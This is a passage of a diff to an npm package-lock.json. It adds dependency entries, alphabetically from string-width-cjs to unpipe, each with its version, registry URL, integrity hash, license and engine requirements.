"node_modules/string-width-cjs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/stringify-object": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/stringify-object/-/stringify-object-3.3.0.tgz", + "integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "get-own-enumerable-property-symbols": "^3.0.0", + "is-obj": "^1.0.1", + "is-regexp": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/stringify-object/node_modules/is-obj": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz", + "integrity": "sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strip-ansi": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", + "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.2.2" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/strip-ansi-cjs": { + "name": "strip-ansi", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi-cjs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-bom": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", + "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/strip-final-newline": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-4.0.0.tgz", + "integrity": "sha512-aulFJcD6YK8V1G7iRB5tigAP4TsHBZZrOV8pjV++zdUwmeV8uzbY7yn6h9MswN62adStNZFuCIx4haBnRuMDaw==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/strnum": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.3.0.tgz", + "integrity": "sha512-ums3KNd42PGyx5xaoVTO1mjU1bH3NpY4vsrVlnv9PNGqQj8wd7rJ6nEypLrJ7z5vxK5RP0yMLo6J/Gsm62DI5Q==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT" + }, + "node_modules/strtok3": { + "version": "10.3.4", + "resolved": "https://registry.npmjs.org/strtok3/-/strtok3-10.3.4.tgz", + "integrity": "sha512-KIy5nylvC5le1OdaaoCJ07L+8iQzJHGH6pWDuzS+d07Cu7n1MZ2x26P8ZKIWfbK02+XIL8Mp4RkWeqdUCrDMfg==", + "license": "MIT", + "dependencies": { + "@tokenizer/token": "^0.3.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/stubs": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/stubs/-/stubs-3.0.0.tgz", + "integrity": "sha512-PdHt7hHUJKxvTCgbKX9C1V/ftOcjJQgz8BZwNfV5c4B6dcGqlpelTbJ999jBGZ2jYiPAwcX5dP6oBwVlBlUbxw==", + "license": "MIT" + }, + "node_modules/stylus-lookup": { + "version": "6.1.2", + "resolved": "https://registry.npmjs.org/stylus-lookup/-/stylus-lookup-6.1.2.tgz", + "integrity": "sha512-O+Q/SJ8s1X2aMLh4213fQ9X/bND9M3dhSsyTRe+O1OXPcewGLiYmAtKCrnP7FDvDBaXB2ZHPkCt3zi4cJXBlCQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "commander": "^12.1.0" + }, + "bin": { + "stylus-lookup": "bin/cli.js" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/stylus-lookup/node_modules/commander": { + "version": "12.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", + "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/systeminformation": { + "version": "5.31.5", + "resolved": "https://registry.npmjs.org/systeminformation/-/systeminformation-5.31.5.tgz", + "integrity": "sha512-5SyLdip4/3alxD4Kh+63bUQTJmu7YMfYQTC+koZy7X73HgNqZSD2P4wOZQWtUncvPvcEmnfIjCoygN4MRoEejQ==", + "license": "MIT", + "os": [ + "darwin", + "linux", + "win32", + "freebsd", + "openbsd", + "netbsd", + "sunos", + "android" + ], + "bin": { + "systeminformation": "lib/cli.js" + }, + "engines": { + "node": ">=8.0.0" + }, + "funding": { + "type": "Buy me a coffee", + "url": "https://www.buymeacoffee.com/systeminfo" + } + }, + "node_modules/tapable": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.3.3.tgz", + "integrity": "sha512-uxc/zpqFg6x7C8vOE7lh6Lbda8eEL9zmVm/PLeTPBRhh1xCgdWaQ+J1CUieGpIfm2HdtsUpRv+HshiasBMcc6A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/teeny-request": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/teeny-request/-/teeny-request-9.0.0.tgz", + "integrity": "sha512-resvxdc6Mgb7YEThw6G6bExlXKkv6+YbuzGg9xuXxSgxJF7Ozs+o8Y9+2R3sArdWdW8nOokoQb1yrpFB0pQK2g==", + "license": "Apache-2.0", + "dependencies": { + "http-proxy-agent": "^5.0.0", + "https-proxy-agent": "^5.0.0", + "node-fetch": "^2.6.9", + "stream-events": "^1.0.5", + "uuid": "^9.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/teeny-request/node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "license": "MIT", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/teeny-request/node_modules/http-proxy-agent": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", + "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", + "license": "MIT", + "dependencies": { + "@tootallnate/once": "2", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/teeny-request/node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "license": "MIT", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/teeny-request/node_modules/node-fetch": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", + "license": "MIT", + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/teex": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/teex/-/teex-1.0.1.tgz", + "integrity": "sha512-eYE6iEI62Ni1H8oIa7KlDU6uQBtqr4Eajni3wX7rpfXD8ysFx8z0+dri+KWEPWpBsxXfxu58x/0jvTVT1ekOSg==", + "license": "MIT", + "dependencies": { + "streamx": "^2.12.5" + } + }, + "node_modules/text-decoder": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/text-decoder/-/text-decoder-1.2.7.tgz", + "integrity": "sha512-vlLytXkeP4xvEq2otHeJfSQIRyWxo/oZGEbXrtEEF9Hnmrdly59sUbzZ/QgyWuLYHctCHxFF4tRQZNQ9k60ExQ==", + "license": "Apache-2.0", + "dependencies": { + "b4a": "^1.6.4" + } + }, + "node_modules/tinybench": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", + "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==", + "dev": true, + "license": "MIT" + }, + "node_modules/tinyexec": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.1.2.tgz", + "integrity": "sha512-dAqSqE/RabpBKI8+h26GfLq6Vb3JVXs30XYQjdMjaj/c2tS8IYYMbIzP599KtRj7c57/wYApb3QjgRgXmrCukA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/tinyglobby": { + "version": "0.2.15", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", + "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.3" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/tinyrainbow": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.1.0.tgz", + "integrity": "sha512-Bf+ILmBgretUrdJxzXM0SgXLZ3XfiaUuOj/IKQHuTXip+05Xn+uyEYdVg0kYDipTBcLrCVyUzAPz7QmArb0mmw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "license": "MIT", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/token-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/token-stream/-/token-stream-1.0.0.tgz", + "integrity": "sha512-VSsyNPPW74RpHwR8Fc21uubwHY7wMDeJLys2IX5zJNih+OnAnaifKHo+1LHT7DAdloQ7apeaaWg8l7qnf/TnEg==", + "dev": true, + "license": "MIT" + }, + "node_modules/token-types": { + "version": "6.1.2", + "resolved": "https://registry.npmjs.org/token-types/-/token-types-6.1.2.tgz", + "integrity": "sha512-dRXchy+C0IgK8WPC6xvCHFRIWYUbqqdEIKPaKo/AcTUNzwLTK6AH7RjdLWsEZcAN/TBdtfUw3PYEgPr5VPr6ww==", + "license": "MIT", + "dependencies": { + "@borewit/text-codec": "^0.2.1", + "@tokenizer/token": "^0.3.0", + "ieee754": "^1.2.1" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/tr46": { + "version": "0.0.3", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", + "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==", + "license": "MIT" + }, + "node_modules/tree-sitter-bash": { + "version": "0.25.1", + "resolved": "https://registry.npmjs.org/tree-sitter-bash/-/tree-sitter-bash-0.25.1.tgz", + "integrity": "sha512-7hMytuYIMoXOq24yRulgIxthE9YmggZIOHCyPTTuJcu6EU54tYD+4G39cUb28kxC6jMf/AbPfWGLQtgPTdh3xw==", + "hasInstallScript": true, + "license": "MIT", + "dependencies": { + "node-addon-api": "^8.2.1", + "node-gyp-build": "^4.8.2" + }, + "peerDependencies": { + "tree-sitter": "^0.25.0" + }, + "peerDependenciesMeta": { + "tree-sitter": { + "optional": true + } + } + }, + "node_modules/trough": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/trough/-/trough-2.2.0.tgz", + "integrity": "sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/ts-algebra": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ts-algebra/-/ts-algebra-2.0.0.tgz", + "integrity": "sha512-FPAhNPFMrkwz76P7cdjdmiShwMynZYN6SgOujD1urY4oNm80Ou9oMdmbR45LotcKOXoy7wSmHkRFE6Mxbrhefw==", + "license": "MIT" + }, + "node_modules/ts-api-utils": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz", + "integrity": "sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18.12" + }, + "peerDependencies": { + "typescript": ">=4.8.4" + } + }, + "node_modules/ts-graphviz": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/ts-graphviz/-/ts-graphviz-2.1.6.tgz", + "integrity": "sha512-XyLVuhBVvdJTJr2FJJV2L1pc4MwSjMhcunRVgDE9k4wbb2ee7ORYnPewxMWUav12vxyfUM686MSGsqnVRIInuw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ts-graphviz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/ts-graphviz" + } + ], + "license": "MIT", + "dependencies": { + "@ts-graphviz/adapter": "^2.0.6", + "@ts-graphviz/ast": "^2.0.7", + "@ts-graphviz/common": "^2.1.5", + "@ts-graphviz/core": "^2.0.7" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/ts-mixer": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/ts-mixer/-/ts-mixer-6.0.4.tgz", + "integrity": "sha512-ufKpbmrugz5Aou4wcr5Wc1UUFWOLhq+Fm6qa6P0w0K5Qw2yhaUoiWszhCVuNQyNwrlGiscHOmqYoAox1PtvgjA==", + "license": "MIT" + }, + "node_modules/tsconfig-paths": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-4.2.0.tgz", + "integrity": "sha512-NoZ4roiN7LnbKn9QqE1amc9DJfzvZXxF4xDavcOWt1BPkdx+m+0gJuPM+S0vCe7zTJMYUP0R8pO2XMr+Y8oLIg==", + "dev": true, + "license": "MIT", + "dependencies": { + "json5": "^2.2.2", + "minimist": "^1.2.6", + "strip-bom": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, + "node_modules/type-is": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.0.1.tgz", + "integrity": "sha512-OZs6gsjF4vMp32qrCbiVSkrFmXtG/AZhY3t0iAMrMBiAZyV9oALtXO8hsrHbMXF9x6L3grlFuwW2oAz7cav+Gw==", + "license": "MIT", + "dependencies": { + "content-type": "^1.0.5", + "media-typer": "^1.1.0", + "mime-types": "^3.0.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/typed-query-selector": { + "version": "2.12.2", + "resolved": "https://registry.npmjs.org/typed-query-selector/-/typed-query-selector-2.12.2.tgz", + "integrity": "sha512-EOPFbyIub4ngnEdqi2yOcNeDLaX/0jcE1JoAXQDDMIthap7FoN795lc/SHfIq2d416VufXpM8z/lD+WRm2gfOQ==", + "license": "MIT" + }, + "node_modules/typescript": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-6.0.3.tgz", + "integrity": "sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/typescript-language-server": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/typescript-language-server/-/typescript-language-server-5.1.3.tgz", + "integrity": "sha512-r+pAcYtWdN8tKlYZPwiiHNA2QPjXnI02NrW5Sf2cVM3TRtuQ3V9EKKwOxqwaQ0krsaEXk/CbN90I5erBuf84Vg==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "typescript-language-server": "lib/cli.mjs" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/uint8array-extras": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/uint8array-extras/-/uint8array-extras-1.5.0.tgz", + "integrity": "sha512-rvKSBiC5zqCCiDZ9kAOszZcDvdAHwwIKJG33Ykj43OKcWsnmcBRL09YTU4nOeHZ8Y2a7l1MgTd08SBe9A8Qj6A==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/undici": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-8.2.0.tgz", + "integrity": "sha512-Z+4Hx9GE26Lh9Upwfnc8C7SsrpBPGaM/Gm6kMFtiG7c+5IvQKlXi/t+9x9DrrCh29cww5TSP9YdVaBcnLDs5fQ==", + "license": "MIT", + "engines": { + "node": ">=22.19.0" + } + }, + "node_modules/undici-types": { + "version": "7.19.2", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.19.2.tgz", + "integrity": "sha512-qYVnV5OEm2AW8cJMCpdV20CDyaN3g0AjDlOGf1OW4iaDEx8MwdtChUp4zu4H0VP3nDRF/8RKWH+IPp9uW0YGZg==", + "license": "MIT" + }, + "node_modules/unicorn-magic": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.3.0.tgz", + "integrity": "sha512-+QBBXBCvifc56fsbuxZQ6Sic3wqqc3WWaqxs58gvJrcOuN83HGTCwz3oS5phzU9LthRNE9VrJCFCLUgHeeFnfA==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/unified": { + "version": "11.0.5", + "resolved": "https://registry.npmjs.org/unified/-/unified-11.0.5.tgz", + "integrity": "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "bail": "^2.0.0", + "devlop": "^1.0.0", + "extend": "^3.0.0", + "is-plain-obj": "^4.0.0", + "trough": "^2.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unified/node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "license": "MIT" + }, + "node_modules/unist-util-is": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.1.tgz", + "integrity": "sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-is/node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "license": "MIT" + }, + "node_modules/unist-util-stringify-position": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", + "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-stringify-position/node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "license": "MIT" + }, + "node_modules/unist-util-visit": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-5.1.0.tgz", + "integrity": "sha512-m+vIdyeCOpdr/QeQCu2EzxX/ohgS8KbnPDgFni4dQsfSCtpz8UqDyY5GjRru8PDKuYn7Fq19j1CQ+nJSsGKOzg==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0", + "unist-util-visit-parents": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit-parents": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-6.0.2.tgz", + "integrity": "sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit-parents/node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "license": "MIT" + }, + "node_modules/unist-util-visit/node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "license": "MIT" + }, + "node_modules/universal-user-agent": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-7.0.3.tgz", + "integrity": "sha512-TmnEAEAsBJVZM/AADELsK76llnwcf9vMKuPz8JflO1frO8Lchitr0fNaN9d+Ap0BjKtqWqd/J17qeDnXh8CL2A==", + "license": "ISC" + }, + "node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": 